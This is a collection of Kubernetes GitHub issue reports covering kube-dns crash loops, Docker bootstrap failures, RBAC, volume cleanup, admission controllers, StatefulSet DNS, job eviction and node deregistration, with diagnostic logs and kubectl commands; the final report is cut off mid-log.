<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r   kubectl  get pods -n kube-system -o wide\r name                                      ready     status             restarts   age       ip                node\r calico-etcd-jknbh                         1/1       running            1          13h       192.168.56.101    k8s-node1\r calico-kube-controllers-99bdf4cd4-vz5sb   1/1       running            16         18h       192.168.56.101    k8s-node1\r calico-node-cd94b                         2/2       running            22         18h       192.168.56.101    k8s-node1\r calico-node-mknvs                         2/2       running            6          18h       192.168.56.102    k8s-node2\r calico-node-ttsdv                         2/2       running            6          18h       192.168.56.103    k8s-node3\r etcd-k8s-node1                            1/1       running            6          18h       192.168.56.101    k8s-node1\r kube-apiserver-k8s-node1                  1/1       running            6          18h       192.168.56.101    k8s-node1\r kube-controller-manager-k8s-node1         1/1       running            6          18h       192.168.56.101    k8s-node1\r kube-dns-86f4d74b45-7cwg8                 2/3       crashloopbackoff   257        18h       192.168.169.135   k8s-node2\r kube-proxy-585bv                          1/1       running            6          18h       192.168.56.101    k8s-node1\r kube-proxy-kxd2x                          1/1       running            2          18h       192.168.56.103    k8s-node3\r kube-proxy-x7bk6                          1/1       running            2          18h       192.168.56.102    k8s-node2\r kube-scheduler-k8s-node1                  1/1       running            6          18h       192.168.56.101    k8s-node1\r kubernetes-dashboard-7b9c7bc8c9-ggz8t     1/1       running            54         14h       192.168.169.134   k8s-node2\r \r   kubectl get nodes\r name        status    roles     age       version\r k8s-node1   ready     master    18h       v1.10.0\r k8s-node2   ready     <none>    18h       v1.10.0\r k8s-node3   ready     <none>    18h       v1.10.0\r \r   kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c kubedns\r i0503 10:19:56.894593       1 dns.go:48  version: 1.14.8\r i0503 10:19:56.895373       1 server.go:71  using configuration read from directory: /kube-dns-config with period 10s\r i0503 10:19:56.895410       1 server.go:119  flag: --alsologtostderr=\ false\ \r i0503 10:19:56.895416       1 server.go:119  flag: --config-dir=\ /kube-dns-config\ \r i0503 10:19:56.895420       1 server.go:119  flag: --config-map=\ \ \r i0503 10:19:56.895422       1 server.go:119  flag: --config-map-namespace=\ kube-system\ \r i0503 10:19:56.895424       1 server.go:119  flag: --config-period=\ 10s\ \r i0503 10:19:56.895428       1 server.go:119  flag: --dns-bind-address=\ 0.0.0.0\ \r i0503 10:19:56.895430       1 server.go:119  flag: --dns-port=\ 10053\ \r i0503 10:19:56.895434       1 server.go:119  flag: --domain=\ cluster.local.\ \r i0503 10:19:56.895437       1 server.go:119  flag: --federations=\ \ \r i0503 10:19:56.895441       1 server.go:119  flag: --healthz-port=\ 8081\ \r i0503 10:19:56.895443       1 server.go:119  flag: --initial-sync-timeout=\ 1m0s\ \r i0503 10:19:56.895445       1 server.go:119  flag: --kube-master-url=\ \ \r i0503 10:19:56.895448       1 server.go:119  flag: --kubecfg-file=\ \ \r i0503 10:19:56.895451       1 server.go:119  flag: --log-backtrace-at=\ :0\ \r i0503 10:19:56.895454       1 server.go:119  flag: --log-dir=\ \ \r i0503 10:19:56.895457       1 server.go:119  flag: --log-flush-frequency=\ 5s\ \r i0503 10:19:56.895460       1 server.go:119  flag: --logtostderr=\ true\ \r i0503 10:19:56.895462       1 server.go:119  flag: --nameservers=\ \ \r i0503 10:19:56.895464       1 server.go:119  flag: --stderrthreshold=\ 2\ \r i0503 10:19:56.895466       1 server.go:119  flag: --v=\ 2\ \r i0503 10:19:56.895468       1 server.go:119  flag: --version=\ false\ \r i0503 10:19:56.895472       1 server.go:119  flag: --vmodule=\ \ \r i0503 10:19:56.895505       1 server.go:201  starting skydns server  0.0.0.0:10053 \r i0503 10:19:56.895688       1 server.go:220  skydns metrics enabled  /metrics:10055 \r i0503 10:19:56.895697       1 dns.go:146  starting endpointscontroller\r i0503 10:19:56.895699       1 dns.go:149  starting servicecontroller\r i0503 10:19:56.896015       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0503 10:19:56.896022       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0503 10:19:57.396351       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:19:57.896028       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:19:58.396374       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:19:58.896274       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:19:59.396136       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:19:59.896163       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:00.396454       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:00.896169       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:01.395903       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:01.896255       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:02.396232       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:02.896320       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:03.395889       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:03.895898       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:04.396240       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:04.896247       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:05.396276       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:05.895979       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:06.396127       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:06.896252       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:07.396174       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:07.896312       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:08.396066       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:08.895973       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:09.396232       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:09.896116       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:10.395981       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:10.896159       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:11.396308       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:11.895839       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:12.396186       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:12.896174       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:13.396226       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:13.895989       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:14.396180       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:14.895939       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:15.395861       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:15.896141       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:16.396083       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:16.896122       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:17.396044       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:17.896238       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:18.396114       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:18.896093       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:19.396352       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:19.896057       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:20.395911       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:20.896279       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:21.396188       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:21.896224       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:22.396140       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:22.896277       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:23.396247       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:23.896044       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:24.396003       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:24.896488       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:25.396234       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:25.896036       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:26.396028       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:26.896159       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r e0503 10:20:26.897158       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0503 10:20:26.897494       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r i0503 10:20:27.396321       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r i0503 10:20:27.896060       1 dns.go:173  waiting for services and endpoints to be initialized from apiserver...\r \r   kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c dnsmasq\r i0503 10:22:20.863098       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0503 10:22:20.863246       1 nanny.go:94  starting dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0503 10:22:21.266327       1 nanny.go:119  \r w0503 10:22:21.266346       1 nanny.go:120  got eof from stdout\r i0503 10:22:21.266359       1 nanny.go:116  dnsmasq 9 : started, version 2.78 cachesize 1000\r i0503 10:22:21.266367       1 nanny.go:116  dnsmasq 9 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0503 10:22:21.266370       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0503 10:22:21.266372       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0503 10:22:21.266374       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0503 10:22:21.266377       1 nanny.go:116  dnsmasq 9 : reading /etc/resolv.conf\r i0503 10:22:21.266379       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0503 10:22:21.266381       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0503 10:22:21.266383       1 nanny.go:116  dnsmasq 9 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0503 10:22:21.266386       1 nanny.go:116  dnsmasq 9 : using nameserver 30.14.129.245 53\r i0503 10:22:21.266388       1 nanny.go:116  dnsmasq 9 : using nameserver 30.14.128.82 53\r i0503 10:22:21.266390       1 nanny.go:116  dnsmasq 9 : using nameserver 10.65.0.201 53\r i0503 10:22:21.266392       1 nanny.go:116  dnsmasq 9 : read /etc/hosts - 7 addresses\r \r   kubectl logs -n kube-system kube-dns-86f4d74b45-7cwg8 -c sidecar\r i0503 10:22:41.860848       1 main.go:51  version v1.14.8\r i0503 10:22:41.860996       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i0503 10:22:41.861046       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r i0503 10:22:41.861136       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

i tried following the docs in http://kubernetes.io/v1.1/docs/getting-started-guides/docker-multinode.html  when it gets to the bootstrap stage, the docker service fails to restart. systemd logs:      -- unit docker.service has begun starting up. mar 08 17:57:25 centos-2gb-lon1-01 docker 2785 : docker: \ daemon\  requires 0 arguments. mar 08 17:57:25 centos-2gb-lon1-01 docker 2785 : see '/usr/bin/docker daemon --help'. mar 08 17:57:25 centos-2gb-lon1-01 docker 2785 : usage:        docker daemon  options  mar 08 17:57:25 centos-2gb-lon1-01 docker 2785 : enable daemon mode mar 08 17:57:25 centos-2gb-lon1-01 systemd 1 : docker.service: main process exited, code=exited, status=1/failure mar 08 17:57:25 centos-2gb-lon1-01 systemd 1 : failed to start docker application container engine.      if i go into the an manually change the options flag, then comment out the line of code in master.sh that adds it in, the deploy goes ok, but it doesn't start.      kubectl get nodes error: couldn't read version from server: get http://localhost:8080/api: dial tcp 127.0.0.1:8080: connection refused      i can reproduce this 100% with a digitalocean centos 7 droplet.  full log is here: https://gist.github.com/petems/cc2754011c8ef936a3cc  maybe related to https://github.com/kubernetes/kubernetes/pull/20281?  ~~eventually got it working with 1.1.8, it worked, but i encountered  22705 because the new containers have the arch argument, the old ones don't.~~  ok, just reproduced using the 1.1.8 tag, same issue  docker wont start .

currently no option is available to add keystone trust in kubernetes.  an initial patch to add keystone trust is available on https://github.com/rackspace/gophercloud/pull/580 diff: https://github.com/codevulture/gophercloud/commit/149babe7190ed46e8c5c742ba66d896a8811b4c2

it would be useful to break the apiserver generic rest infrastructure into a separate project.  /cc @smarterclayton

with the latest rbac changes, federation cluster controller is not able to fetch secrets from host cluster for registered clusters.  the exact error is \r  error in fetching secret: user \ system:serviceaccount:federation-system:default\  cannot get secrets in the namespace \ federation-system\  \r as a result, registered clusters never turn ready.\r \r running the following fixed the problem for me:\r    \r kubectl create rolebinding -n federation-system edit --serviceaccount federation-system:default --clusterrole=admin\r    \r we should define our own clusterrole rather than using admin.\r \r cc @madhusudancs @kubernetes/sig-federation-misc \r cc @liggitt and @deads2k as fyi

in normal workflow, when a pod is deleted, its volume directory will be unmounted and removed. so cleanuporphaned function can go ahead to delete the pod directory. however, if kubelet failed and restarted during this process, the volume directories might be umounted but not removed. in such case, volume reconciler currently cannot reconstruct the volume information to the actual state and will not clean up the volume directory. \r \r in cleanuporphaned pod function, there is a check to see whether there are still any volume directories exist. if there is, it will skip to clean up the directory. this needs to be fixed, otherwise, the pod directory will never get a chance to clean up.\r \r related pr  37255

in the last 10 runs of kubemark-500, 4-of them failed with \ too high pod-startup-time\ .\r we've never had problems with it before.\r \r the failures are:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/2777\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/2782\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/2784\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/2785\r \r should be investigated.\r \r @shyamjvs @gmarek

i have a distributed file system providing a large number of datasets. this distributed file system is attached to many kubernetes nodes on which i plan to run kubernetes jobs to work with datasets. not all datasets are available on all nodes and distributed file system moves them between nodes as needed.\r \r now, the question i have is how could i assure that jobs needing same datasets get scheduled to the same nodes, or to nodes which have datasets already locally. it seem kubernetes would have to be able to talk to the distributed file system to get this metadata, and also this metadata is changing as well and is not static.\r \r is there already anything in place to support this? i see that i could use zones for this, but the issue is that there are many datasets available and i do not know in advance a partition of datasets across nodes. it will happen during runtime to see which datasets will be needed by jobs created.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  /area release-infra\r  \r   what happened  :\r as stated in  aarch64/debian on docker hub  https://hub.docker.com/r/aarch64/debian/ \r > the  aarch64  organization is deprecated in favor of the more-specific  arm64v8  organization, as per https://github.com/docker-library/official-images architectures-other-than-amd64. please adjust your usages accordingly\r \r   what you expected to happen  :\r we should replace current  aarch64/   docker images to  arm64v8/  .\r

/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-21.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial\r \r - last good up: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/4382\r - first bad up: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/4383\r - latest bad up: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/4388\r - suspect commit range: https://github.com/kubernetes/kubernetes/compare/a69f9dad9...1489d1944\r \r my guess at the relevant error:\r    \r w1122 05:44:11.209  error:  gcloud.container.clusters.create  operation  <operation\r w1122 05:44:11.210   endtime: u'2017-11-22t05:44:09.847888679z'\r w1122 05:44:11.210   name: u'operation-1511328415799-870d2272'\r w1122 05:44:11.210   operationtype: operationtypevaluevaluesenum create_cluster, 1 \r w1122 05:44:11.210   selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/329270376361/zones/us-central1-f/operations/operation-1511328415799-870d2272'\r w1122 05:44:11.210   starttime: u'2017-11-22t05:26:55.799159085z'\r w1122 05:44:11.210   status: statusvaluevaluesenum done, 3 \r w1122 05:44:11.210   statusmessage: u'all cluster resources were brought up, but the cluster api is reporting that only 0 nodes out of 3 have registered. cluster may be unhealthy.'\r w1122 05:44:11.211   targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/329270376361/zones/us-central1-f/clusters/e2e-4383'\r w1122 05:44:11.211   zone: u'us-central1-f'>  finished with error: all cluster resources were brought up, but the cluster api is reporting that only 0 nodes out of 3 have registered. cluster may be unhealthy.\r    \r

is this a bug report or feature request?  :\r  \r   what happened  :\r there are generic admission controllers that are available in the core k8s api server, but not available in other api servers: validatingadmissionwebhook, mutatingadmissionwebhook, alwaysadmit, alwaysdeny, eventratelimit, ownerreferencespermissionenforcement.\r in order to use them in other api servers, e.g. service catalog  see https://github.com/kubernetes-incubator/service-catalog/issues/1812  we have to either add a dependency on  k8s.io/kubernetes , or copy the source code.\r \r   what you expected to happen  :\r 1. move admission controllers that are not specific to the core api server to the  k8s.io/apiserver  repo\r 2. enable mutatingadmissionwebhook and validatingadmissionwebhook admission controllers by default, i.e. every api server using  k8s.io/apiserver  should get support for those admission controllers without having to manually register them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see pr https://github.com/kubernetes-incubator/service-catalog/pull/1811 for amount of work that is needed to enable validatingadmissionwebhook and mutatingadmissionwebhook admission controllers in custom api server.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r

hello\r \r pods in statefulsets don't have dns a record if clusterip service is nodeport.\r \r kubernetes 1.10.3\r    \r   cat << eof > test.yaml\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   labels:\r     app: nginx\r spec:\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r     nodeport: 8888\r     name: http\r   selector:\r     app: nginx\r   type: nodeport\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   servicename: nginx\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: k8s.gcr.io/nginx-slim:0.8\r eof\r    \r    \r $ kubectl create namespace test\r $ kubectl -n test apply -f test.yaml\r    \r    \r $ kubectl run dnsutils --rm -it --image=tutum/dnsutils bash\r \r   dig web-0.nginx.test.svc.cluster.local\r <nxdomain>\r \r   dig nginx.test.svc.cluster.local\r nginx.test.svc.cluster.local. 8 in      a       10.98.89.75\r    \r    \r $ kubectl -n test describe service nginx\r name:                     nginx\r namespace:                test\r labels:                   app=nginx\r selector:                 app=nginx\r type:                     nodeport\r ip:                       10.98.89.75\r loadbalancer ingress:     localhost\r port:                     http  80/tcp\r targetport:               80/tcp\r nodeport:                 http  8888/tcp\r endpoints:                10.1.0.156:80,10.1.0.158:80,10.1.0.159:80\r session affinity:         none\r external traffic policy:  cluster\r    \r \r please fix the bug.\r thank you\r \r   @kubernetes/sig-network

what happened  :\r \r i have a job set up as a \ parallel job with work queue\ : that is, completions is unset and parallelism is set to n, where n is the number of pods i want to spin up.\r \r at some point, the cluster got crowded out and all my pods for the job got evicted:\r \r    \r kubectl get pods\r lowpriorityworker-2gjhw       0/1       evicted   0          55m\r lowpriorityworker-46qpn       0/1       evicted   0          1h\r lowpriorityworker-6jpd7       0/1       evicted   0          55m\r lowpriorityworker-7xdq9       0/1       evicted   0          1h\r lowpriorityworker-ns7st       0/1       evicted   0          1h\r lowpriorityworker-qfs4x       0/1       evicted   0          1h\r lowpriorityworker-qh248       0/1       evicted   0          1h\r    \r \r looking at the job  kubectl describe job  i see that none of them have succeeded:\r \r    \r name:           lowpriorityworker\r selector:       controller-uid=edd7c735-f776-11e8-88bf-0050569870e6\r parallelism:    50\r completions:    <unset>\r start time:     mon, 03 dec 2018 19:44:40 -0800\r pods statuses:  0 running / 0 succeeded / 56 failed\r pod template:\r   containers:\r    worker:\r     image:      myimage\r     port:       <none>\r     host port:  <none>\r     limits:\r       cpu:     20\r       memory:  5gi\r     requests:\r       cpu:     11\r       memory:  3gi\r   volumes:\r    fuse:\r     type:          hostpath  bare host directory volume \r     path:          /dev/fuse\r     hostpathtype:  \r    modules:\r     type:          hostpath  bare host directory volume \r     path:          /lib/modules\r     hostpathtype:  directory\r events:\r   type    reason            age   from            message\r   ----    ------            ----  ----            -------\r   normal  successfulcreate  57m   job-controller  created pod: lowpriorityworker-97tnq\r   normal  successfulcreate  57m   job-controller  created pod: lowpriorityworker-kv6zb\r   normal  successfulcreate  57m   job-controller  created pod: lowpriorityworker-6jpd7\r    \r \r so i'd expect that once the pressure situation went away,  it was ephemeral-storage, and it's fine now , they'd be spun up again until they hit completion.\r \r   what you expected to happen  :\r \r i'd expect that when the pressure situation went away, the pods would retry since there wasn't a completion in the job.  and if they had, and failed, that i'd see it in the job description for previous events.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i've only seen this once so far, but i imagine you could reproduce it by forcing a long-running low  to have all it's nodes evicted by a higher  \r   anything else we need to know?  :\r uh, i like the work you folk do; please keep it up? : \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.4\ , gitcommit:\ bf9a868e8ea3d3a8fa53cbb22f566771b3f8068b\ , gittreestate:\ clean\ , builddate:\ 2018-10-25t19:06:30z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r bare metal blade cluster.  i'm not familiar with the hardware deeply, but i can ask if it's required.\r \r <!-- do not edit below this line -->\r 

kubernetes 1.2.2   a node that was previously registered in my cluster can not re-register after a  drain . when  kubelet  starts i see the node coming online  \ notready\  state , and immediately being de-registered.   kube controller-manager  logs      event.go:211  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-0-11-111.eu-west-1.compute.internal\ , uid:\ ip-10-0-11-111.eu-west-1.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node ip-10-0-11-111.eu-west-1.compute.internal event: registered node ip-10-0-11-111.eu-west-1.compute.internal in nodecontroller event.go:193  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ ip-10-0-11-111.eu-west-1.compute.internal.144585d5b31aa064\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ 137730971\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ ip-10-0-11-111.eu-west-1.compute.internal\ , uid:\ ip-10-0-11-111.eu-west-1.compute.internal\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ registerednode\ , message:\ node ip-10-0-11-111.eu-west-1.compute.internal event: registered node ip-10-0-11-111.eu-west-1.compute.internal in nodecontroller\ , source:api.eventsource{component:\ controllermanager\ , host:\ \ }, firsttimestamp:unversioned.time{time:time.time{sec:63596317607, nsec:0, loc:  time.location  0x2630d60 }}, lasttimestamp:unversioned.time{time:time.time{sec:63596331077, nsec:883530618, loc:  time.location  0x2630d60 }}, count:4, type:\ normal\ }': 'events \ ip-10-0-11-111.eu-west-1.compute.internal.144585d5b31aa064\  not found'  will not retry!  nodecontroller.go:504  deleting node  no longer present in cloud provider : ip-10-0-11-111.eu-west-1.compute.internal       kubelet  logs      manager.go:175  version: {kernelversion:4.4.6-coreos containerosversion:coreos 991.2.0  coeur rouge  dockerversion:1.9.1 cadvisorversion: cadvisorrevision:} apr 15 15:38:42 ip-10-0-11-111.eu-west-1.compute.internal kubelet 32608 : i0415 15:38:41.987467   32608 server.go:344  using root directory: /var/lib/kubelet server.go:598  cloud provider determined current node name to be ip-10-0-11-111.eu-west-1.compute.internal  ...  kubelet.go:2754  recording nodehassufficientdisk event message for node ip-10-0-11-111.eu-west-1.compute.internal kubelet.go:1134  attempting to register node ip-10-0-11-111.eu-west-1.compute.internal kubelet.go:1165  successfully registered node ip-10-0-11-111.eu-west-1.compute.internal aws.go:745  could not determine public ip from aws metadata. manager.go:1003  started watching for new ooms in manager kubelet 32608 : i0415 15:38:42.746916   32608 oomparser.go:182  oomparser using systemd manager.go:256  starting recovery of all containers container.go:341  failed to create summary reader for \ /system.slice/docker-741a48014bec3c68cded952168ddb2138013bf41f59445553c782ffbd907fb5e.scope\ : none of the resources are being tracked. manager.go:931  failed to create existing container: /system.slice/docker-741a48014bec3c68cded952168ddb2138013bf41f59445553c782ffbd907fb5e.scope: failed to read libcontainer config: open /var/lib/docker/execdriver/native/741a48014bec3c68cded952168ddb2138013bf41f59445553c782ffbd907fb5e/container.json: no such file or directory container.go:341  failed to create summary reader for \ /system.slice/system-systemd\\\\x2dfsck.slice\ : none of the resources are being tracked. container.go:341  failed to create summary reader for \ /system.slice/systemd-fsck-root.service\ : none of the resources are being tracked. manager.go:261  recovery completed kubelet.go:2388  syncloop  add, \ file\  : \ \  kubelet.go:2388  syncloop  add, \ api\  : \ \  kubelet.go:2388  syncloop  add, \ api\  : \ nrsysmond-f5ggi_kube-system 2200755d-0320-11e6-b09b-0a59d1e77755 \  kubelet 1429 : i0415 15:46:27.775629    1429 docker.go:161  pulling image sysdig/agent:0.27.0 without credentials  ...  aws_credentials.go:130  while requesting ecr authorization token accessdeniedexception: user: arn:aws:sts::xxxxx:assumed-role/kubernetes-minion/i-xxxxxxx is not authorized to perform: ecr:getauthorizationtoken on resource:    ...  kubelet.go:2745  error updating node status, will retry: error getting node \ ip-10-0-11-111.eu-west-1.compute.internal\ : nodes \ ip-10-0-11-111.eu-west-1.compute.internal\  not found kubelet.go:2745  error updating node status, will retry: error getting node \ ip-10-0-11-111.eu-west-1.compute.internal\ : nodes \ 